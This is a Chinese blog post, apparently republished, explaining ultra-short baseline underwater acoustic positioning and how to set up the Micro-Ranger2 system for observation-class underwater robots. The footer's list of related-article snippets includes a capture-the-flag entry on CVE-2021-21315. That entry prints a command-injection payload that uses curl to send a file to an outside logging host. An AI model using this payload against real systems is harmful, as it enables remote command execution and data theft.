观察级水下机器人使用系列之六超短基线(上)

news2025/1/18 8:56:29

观察级水下机器人使用的超短基线型号是Micro-Ranger2,由换能器MRT、甲板单元(ESH)、信标(Nano)和计算机组成。超短基线主要用于深水(大于100m),在浅水环境下,会有多径时延扩展,信号衰落严重,即使利用了宽带信号检测技术。

​编辑​

MRT的技术参数如下。

点击查看原图

信标的技术参数如下。

无标题13.jpg

1、基线定位

在声学定位系统中,有3 种主要的技术:长基线定位(LBL)、短基线定位(SBL) 和超短基线定位(SSBL/USBL),有些现代的定位系统能组合使用以上技术。这三种不同方式的声学定位系统中,长基线定位(LBL)定位精度最高,但是水底布设高精度定位已知点的施工难度大且费用较高,一般使用在石油平台监测、水下考古打捞等需要高精度定位的工程;短基线定位(SBL)需要对船体进行改造,才能放置换能器基阵,对船只的要求使短基线的应用受一定的限制;超短基线声学定位系统( USBL) 的优势是很明显的,只需要在船舶上安装一个换能器及其电子单元,就可以提供高精度的声学定位。

无标题3.jpg

2、基本原理

根据工作频率和作用距离的不同,超短基线定位系统的基阵长度一般在几厘米到几十厘米不等。超短基线定位系统有两种工作方式:一种是声学应答模式,水面分别向各应答器发送询问信号,各应答器接收到针对自己的询问信号后发送应答信号,通过计算发出询问信号到收到应答信号的时间差来计算距离。另一种是同步时钟触发模式,如果有缆则触发脉冲通过电缆触发应答器,如果无缆则需要采用高精度的同步时钟来同步触发应答器和水面系统,通过计算同步脉冲触发时刻到收到应答信号的时间差计算距离。

由时间差计算距离需要知道声速,因此精确的声速剖面数据是定位精度的保证。因此每到一个新的作业地点,必须测量声速剖面并输入到定位系统中。如果出现剧烈的气象过程(如大风、大雨),则需要重新测量声速剖面并更新到定位系统中。要确定潜水器在水下的位置,除了测量距离外还必须测量出方向角和倾斜角。超短基线定位系统是通过分析船载声学换能器阵接收信号的相位差来计算出方向角和倾斜角的。将水面船载 GPS与超短基线定位系统相结合,能够准确判断水下应答器的精确位置。

3、超短基线设备

超短基线有法国iXblue、挪威Kongsberg、英国Sonardyne、美国LinkQuest和德国Evologics等公司的6款典型深海远程超短基线定位系统,见下表。

无标题7.jpg

其中GAPS将姿态传感器(光纤罗经)与超短基线声学换能器阵固化在一起,实现一体化安装,是世界上首款便携式、即插即用、免标定的超短基线定位系统。

无标题6.jpg

4、Micro-Ranger2软硬件设置

(1)安装Micro-Ranger2 软件

(2)典型系统配置,ESH默认IP地址为192.168.179.80,电脑的IP地址设置为192.168.179.X,与ESH保持在一个网段,比如192.168.179.100,除了50,51,80,150或200可能被其它设备使用的地址以外。

无标题11.jpg

(3)配置GNSS,Port ESH/5A(下图中的4)可以连接一个外部GNSS天线,实现时间同步和定位,波特率为115200。

点击查看原图

GNSS也可以通过COM口接入ESH,设置好天线相对于水线公共参考点(CRP)的相对位置关系。

点击查看原图

(4)配置MRT。MRT的磁罗经需要校正,获取磁北和真北方向的偏移量。

无标题4.jpg

安装偏移量(install offsets)需要输入CRP到MRT的偏移量。

点击查看原图

内部磁传感器也能显示Roll、Pitch和Heading值。

点击查看原图

接入外部传感器提高设备精度,ESH通过COM口增加姿态传感器。

点击查看原图

Attitude设备下拉列表的三个参数:

Compass:内部磁罗经加MEMS(微电子机械系统)倾斜传感器

Internal:辅助低精度MEMS倾斜传感器

Lodestar:外部传感器

点击查看原图

(5)环境设置,导入声速剖面文件。

点击查看原图

(6)增加和设置信标。打开信标表,增加信标。

点击查看原图

设置唤醒波段和更新率

无标题11.jpg

参考文献

一种适于浅水定位的超短基线装置与定位方法_祝侃

一种SINS_超短基线组合定位系统安装误差标定算法_张涛

深海超短基线定位系统现状及展望_张同伟

超短基线定位系统在500kV跨海输电系统海底电缆检测中的应用_高东明

超短基线定位系统在沉管测控中的应用_赵心

超短基线定位系统在深水工程勘察中的应用_肖家耀

超短基线水声定位系统误差校准方法综述_罗宇

超短基线水声的系统校准_郑军

深海超短基线定位系统现状及展望_张同伟

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/884785.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

FreeRTOS qemu mps2-an385 bsp 移植制作 :系统启动篇

相关文章 FreeRTOS qemu mps2-an385 bsp 移植制作 :环境搭建篇 开发环境 Win10 64位 VS Code,ssh 远程连接 ubuntu VMware Workstation Pro 16 Ubuntu 20.04 FreeRTOSv202212.01(备注:可以在 github 获取最新版本&#xff0…

亿赛通电子文档安全管理系统任意文件上传漏洞复现

0x01 产品简介 亿赛通电子文档安全管理系统(简称:CDG)是一款电子文档安全加密软件,该系统利用驱动层透明加密技术,通过对电子文档的加密保护,防止内部员工泄密和外部人员非法窃取企业核心重要数据资产&…

openGauss学习笔记-41 openGauss 高级数据管理-匿名块

文章目录 openGauss学习笔记-41 openGauss 高级数据管理-匿名块41.1 语法41.2 参数说明41.3 示例 openGauss学习笔记-41 openGauss 高级数据管理-匿名块 匿名块(Anonymous Block)是存储过程的字块之一,没有名称。一般用于不频繁执行的脚本或…

【Unity每日一记】方位辨别—向量的叉乘点乘结合

👨‍💻个人主页:元宇宙-秩沅 👨‍💻 hallo 欢迎 点赞👍 收藏⭐ 留言📝 加关注✅! 👨‍💻 本文由 秩沅 原创 👨‍💻 收录于专栏:uni…

优化 Linux 系统性能:探索 tuned 守护进程的调优配置文件

tuned守护进程调优系统调优配置文件从命令行配置系统调优安装、启用和启动tuned软件包tuned-adm 感谢 💖 hello大家好😊 tuned守护进程调优系统 系统管理员可以基于多种用例工作负载来调整各种设备设置,以此优化系统性能。tuned 守护进程会利…

Python学习笔记_基础篇(七)_常用模块

模块,用一砣代码实现了某个功能的代码集合。 类似于函数式编程和面向过程编程,函数式编程则完成一个功能,其他代码用来调用即可,提供了代码的重用性和代码间的耦合。而对于一个复杂的功能来,可能需要多个函数才能完成…

什么是LAXCUS分布式操作系统?

相较Linux、Windows,Laxcus是同时在多台计算机上运行的操作系统,处理大规模、高并发、高性能业务,其特点是资源共享和任务并行,并实现【数存算管】超融合一体化。环境中的资源:CPU、GPU、内存、硬盘、网络,…

Python学习笔记_基础篇(八)_正则表达式

1. 正则表达式基础 1.1. 简单介绍 正则表达式并不是Python的一部分。正则表达式是用于处理字符串的强大工具,拥有自己独特的语法以及一个独立的处理引擎,效率上可能不如str自带的方法,但功能十分强大。得益于这一点,在提供了正则…

【Alibaba中间件技术系列】「RocketMQ技术专题」帮你梳理RocketMQ相关的消费问题以及原理分析总结

消息重复消费的问题 消息重复消费是各个MQ都会发生的常见问题之一,在一些比较敏感的场景下,重复消费会造成比较严重的后果,比如重复扣款等。 消息重复消费场景及解决办法 在什么情况下会发生RocketMQ的消息重复消费呢? 生产者重…

运动健身耳机什么的好、适合运动的耳机推荐

保持运动健身的习惯不仅成为一种生活态度,也逐渐演变为一种时尚潮流。随之而来的是越来越多的周边设备,旨在提高健身爱好者的运动效率。其中,运动耳机无疑是其中之一,不论是室内锻炼还是室外运动,一款舒适的运动耳机能…

【LeetCode75】第三十题 奇偶链表

目录 题目: 示例: 分析: 代码: 题目: 示例: 分析: 题目给我们一个链表,让我们把奇索引和偶索引的节点区分开来 ,参考示例给出的图我们应该就能很清晰地知道题目是什么…

第六章Tomcat部署以及优化

Tomcat: 开放源代码web应用服务器。(基于Java代码开发的),主要是处理动态请求和基于java代码进行页面开发。可以在html当中写入Java代码,Tomcat可以解析html页面当中的Java,执行动态请求,动态页…

春秋云镜 CVE-2021-21315

春秋云镜 CVE-2021-21315 systeminformation存在命令注入 靶标介绍 systeminformation是一个简单的查询系统和OS信息包。 启动场景 漏洞利用 exp /api/osinfo?param[]$(curl%20-d%20/flag%20xxx.ceye.io)登录ceye.io平台,curl请求 http://eci-2zed871sr7xrdjb…

Memory Analyzer(MAT)分析内存

关于作者:CSDN内容合伙人、技术专家, 从零开始做日活千万级APP。 专注于分享各领域原创系列文章 ,擅长java后端、移动开发、人工智能等,希望大家多多支持。 目录 一、导读二、概览三、 使用3.1 hprof 文件准备3.1.1 Android sutdi…

word之插入尾注+快速回到刚才编辑的地方

1-插入尾注 在编辑文档时,经常需要对一段话插入一段描述或者附件链接等,使用脚注经常因占用篇幅较大导致文档页面内容杂乱,这事可以使用快捷键 ControlaltD 即可在 整个行文的末尾插入尾注,这样文章整体干净整洁,需…

驾考笔记 _ 科目3 - 坂田线路图

深圳坂田线路图 1#线 >2#线 >3#线 > 1#线 > 2#线 > 3#线 > 简图:

Python random模块用法整理

随机数在计算机科学领域扮演着重要的角色,用于模拟真实世界的随机性、数据生成、密码学等多个领域。Python 中的 random 模块提供了丰富的随机数生成功能,本文整理了 random 模块的使用。 文章目录 Python random 模块注意事项Python random 模块的内置…

koa 使用 Mongoose 查询数据

Mongosee 操作符koa 使用 Mongoose 进行 翻页查询koa 使用 Mongoose 进行 多条件查询 mongosee 操作符 在使用 Koa 和 Mongoose 进行数据库查询时,你可以使用以下常用的操作符来构建查询条件: $eq:等于 示例:{ field: { $eq: valu…

pip install mysql出现error: subprocess - exited-with-error的解决方案

大家好,我是爱编程的喵喵。双985硕士毕业,现担任全栈工程师一职,热衷于将数据思维应用到工作与生活中。从事机器学习以及相关的前后端开发工作。曾在阿里云、科大讯飞、CCF等比赛获得多次Top名次。现为CSDN博客专家、人工智能领域优质创作者。喜欢通过博客创作的方式对所学的…